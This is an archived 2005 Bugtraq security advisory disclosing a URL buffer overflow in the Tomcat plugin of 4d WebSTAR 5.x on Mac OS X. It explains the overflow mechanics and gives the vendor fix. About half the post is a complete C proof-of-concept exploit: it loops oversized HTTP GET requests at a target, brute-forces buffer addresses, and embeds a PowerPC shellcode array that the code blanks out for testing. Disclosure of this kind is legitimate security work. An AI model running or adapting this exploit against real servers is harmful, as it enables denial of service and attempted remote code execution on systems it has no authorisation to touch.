lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 6 May 2005 10:47:57 -0700
From: Braden Thomas <bjthomas@....edu>
To: bugtraq@...urityfocus.com
Subject: 4d WebSTAR 5.x Web Server Mac OS X Buffer Overflow


4d WebSTAR 5.x Mac OS X Buffer Overflow
Author: Braden Thomas
Vendor: http://www.4d.com
Product: 4d WebSTAR 5.33 and 5.4 Web Server on Mac OS X
*only trial version tested
Risk: Medium, remote root (unlikely), DoS (likely)
PoC Exploit code included


Description:
     4d WebSTAR 5.x (5.33 and 5.4 tested) contains a buffer overflow  
in the Web Server Tomcat plugin.  The plugin is included and active  
in a default installation of 4d WebSTAR.  The overflow exists within  
the URL.  This overflow can be used for DoS easily, but because 4d  
WebSTAR restarts the server process when it crashes, the attacker has  
to send a malicious packet about every half second for effective DoS.
     The overflow can also theoretically be used for remote code  
execution, but as far as I can tell, the exploit is very improbable.

Details of the exploit:

The buffer is copied byte-by-byte starting from the beginning of the  
buffer until a NULL (or a couple other terminating) byte is reached.   
However, the pointer that points to the beginning of the buffer  
exists just at the edge of the buffer.  Therefore, you will  
immediately overflow this pointer after going over the buffer.  Since  
you will overflow this pointer MSB-first, the chance is high (if you  
aren't careful), that you'll direct the pointer into memory that  
either isn't readable, or contains a NULL-pointer, at which point  
your overflow will terminate.  My exploit runs in a loop and  
continues ad infinitum if the server doesn't crash.

Although the buffer moves around in memory, the pointer is static in  
reference to the beginning of the buffer.  So if you guess the  
average value for the buffer and put it where the pointer will be  
overflowed, you'll get a decent chance of actually successfully  
overflowing a valid pointer that actually points within the buffer  
(or maybe another copy of the buffer in memory).  In my code this is  
defined as BUFADDR, or below as readaddr.

Buffer:
[nops][shellcode][ret addrs][readaddr][more ret addrs]

Once you continue the overflow past the read address pointer, it's  
sort of a mystery where in the buffer you will be reading from.   
Basically about half of the buffer overflowed consists of return  
addresses.  If you thought getting the read address right was tough,  
the return address is even harder.  You can actually fill the link  
register with this address with a fair accuracy.  This address  
*should* return execution back to your buffer to run the shellcode,  
but will often crash with EXC_BAD_INSTRUCTION somewhere else.  Note  
that in the example exploit, the shellcode buffer has been set to all  
A's for testing.  Once you get the link register filled (which  
happens about 10% of successful overflows), the chance that you  
actually hit the shellcode is quite small.  In fact, I've only seen  
it happen once or twice.  Good luck.  :)

Vendor notified:
March 31, 2005

Fix:
Disable Tomcat plugin


-Braden


Code:

/* 4d buffer overflow
Braden Thomas

     the buffer is copied byte by byte starting from the beginning of  
the buffer
         until a NULL byte is reached (or a couple other types of bytes)
     the buffer is copied from a pointer that resides past the end of  
the buffer
     the buffer can overflow over this pointer, allowing the program  
to read bytes to wherever it wants

     -the exploit must restore this pointer or risk reading from null  
memory, terminating overflow
     -the pointer is different each time, though it's location in  
relation to the buffer is static (buffer+1285)
     -the pointer is overwritten byte by byte, meaning that one wrong  
byte, and we're reading from
             somewhere else... which can be potentially bad in terms  
of exploitation

     method:
     -exploit attempts to: overwrite the pointer so that the memory  
will continue to be overflowed
         (i.e., do not point into any memory that contains a null byte)
     -exploit attempts to continue overflowing with return addresses,  
to overflow where LR is stored
     -when loop ends and LR is restored, it will return execution  
into the buffer and into shellcode
     -some looping has been added, where BUFADDR is enumerated to try  
to brute force the overflow
         because failed servers are respawned

     results:
         actually successful in moving the execution pointer about 10  
to 25% of the time
         unsuccessful in actually jumping to the nops/shellcode :(

     problems I don't understand:
         occasionally other threads crash in weird places (memcpy and  
szone_malloc)...
             this might actually be when it works as desired and  
doesn't crash... but other threads do crash
             before shellcode can do its magic!
             (but that's just a hypothesis)  :)
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>

unsigned char shellcode[]=    // no 0x00 0x20 0x3f 0x24 0x2f
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\xa8\x02\xa6\x38\xc3\xe1\x35"
"\x39\x80\x01\x18\x39\xad\x1f\xff\x81\xcd\xe1\x39\x81\xed\xe1\x35"
"\x7d\xef\x72\x78\x91\xed\xe1\x35\x7c\x06\x68\xac\x7c\x01\x04\xac"
"\x7c\x06\x6f\xac\x4c\x01\x01\x2c\x39\xad\xff\xfc\x39\x8c\xff\xfb"
"\x7d\x8c\x63\x79\x40\x82\xff\xd8\x3b\xe0\x30\xff\x7f\xe0\x4e\x70"
"\x44\xff\xff\x02\x7c\x63\x1a\x79\x7c\x63\x1a\x79\x7c\x63\x1a\x79"
"\x10\x29\x25\xcb\x10\xc9\x25\xc8\x10\xe9\x25\xcf\x10\x49\x25\xa8"
"\x6c\x49\x25\xcb\x54\x49\x27\xb1\x54\x37\x3e\xb1\x60\x49\x25\xc4"
"\x28\x4b\x3e\xf0\x28\x49\x25\xc9\x54\xc1\x27\x6f\x10\xe9\x25\xd9"
"\x10\x49\x25\xa1\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x10\x49\x25\xa3\x57\x8a\xd6\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\x8a\xd6\xb1\x10\x49\x25\xd7\x10\xc9\x25\xd9\xb8\xc8\xda\x21"
"\x10\xe8\xda\x21\x10\xc8\xda\x39\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x54\x37\x3e\xb1\x10\xe9\x25\xcb\x10\x49\x25\x93\x57\x8a\xd6\xb1"
"\x54\xed\x0e\xb1\x6c\x49\x25\xcb\x54\x49\x27\xb1\x10\xec\xda\x36"
"\x04\x4c\xda\x36\x68\xcb\xda\x2c\x10\x49\x25\x8b\x6c\x49\x25\xcb"
"\x54\x49\x27\xb1\x54\xec\x0f\xb0\x68\xcb\xda\x34\x54\x21\x27\x6f"
"\x10\x2a\x25\xe1\xb8\x28\xda\x31\xb8\xe8\xda\x35\x10\xc8\xda\x31"
"\x10\x49\x25\xf2\x54\x49\x21\x65\x6c\x49\x25\xcb\x54\x49\x27\xb1"
"\x57\xa9\x25\xc1\x07\x2b\x4c\xa7\x07\x2a\x56\xa1\x28\x49\x25\xc9"
"\x28\x49\x25\xc9";

#define BUFSIZE 1400
long BUFADDR= 0x284fe04;//0x02850204;

int main(int argc, char *argv[])
{
     printf("4d WebSTAR buffer overflow\n");
     printf("\tBraden Thomas\n");

     if (argc<2)
     {
         printf("4dbo <target>\n");
         return 1;
     }

     struct sockaddr_in their_addr;
     their_addr.sin_family = AF_INET;
     their_addr.sin_port = htons(80);
     inet_aton(argv[1], &(their_addr.sin_addr));
     memset(&(their_addr.sin_zero), '\0', 8);


     int count=0;
     while (1)
     {

         char buffer[BUFSIZE];

         // [nops][shellcode][ret addrs][readaddr][more ret addrs]

         memset(buffer,0x60,sizeof(buffer));    // nops first

         int shellcodeLen = sizeof(shellcode)-1;
         memset(shellcode,'A',shellcodeLen);                // just  
for testing!

         memcpy(buffer+400+5,shellcode,shellcodeLen);    // next  
shellcode


         unsigned long retaddr = BUFADDR + 0x1600;        // as if it  
matters... this never works!
         unsigned long *bufPtr = (unsigned long*)(buffer+400 
+shellcodeLen+5);        // now for ret addrs
         int bufCnt;
         for (bufCnt=400+shellcodeLen;bufCnt<BUFSIZE;bufCnt+=4)
         {
             memcpy(bufPtr,&retaddr,4);
             bufPtr++;
         }

         unsigned long readaddr = BUFADDR;            // now ptr read  
address
                                                     // just a  
guess... works pretty well tho
         memcpy(buffer+1285,&readaddr,4);

         memcpy(buffer,"GET /",5);
         char httpStr[]=" HTTP/1.1\r\n\r\n";
         memcpy(buffer+BUFSIZE-sizeof(httpStr),httpStr,sizeof(httpStr));

         if (!count)
             printf("\nRead addr: 0x%x\nReturn addr: 0x%x 
\n",readaddr,retaddr);


         int sockfd = socket(AF_INET, SOCK_STREAM, 0);
         if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof 
(struct sockaddr)) == -1)
         {
             printf("connect error\n");
             return 1;
         }
         if (send(sockfd, buffer, sizeof(buffer)-1, 0) == -1)
         {
             printf("send error\n");
             return 1;
         }

         struct timeval time;
         fd_set mySet;
         FD_ZERO(&mySet);
         FD_SET(sockfd, &mySet);
         time.tv_sec = 40;
         time.tv_usec = 0;
         if (!select(sockfd+1, &mySet, NULL, NULL, &time))
         {
             printf("\nNo response received.\n");
             break;
         }
         else
         {
             char resBuff[64];
             int readRes = recv(sockfd, resBuff, sizeof(resBuff), 0);
             if (!readRes)
             {
                 printf("\nZero length response.\n");
             }
             else if (!(count%21))
                 printf("\nResponse length: %d", readRes);
             else
                 printf(".");

             count++;

             if (count>=100)
             {
                 count=0;
                 BUFADDR+=0x200;
                 if (BUFADDR>0x285c000)
                     BUFADDR=0x284f204;
             }

         }

         close(sockfd);
     }
     return 0;
}




Powered by blists - more mailing lists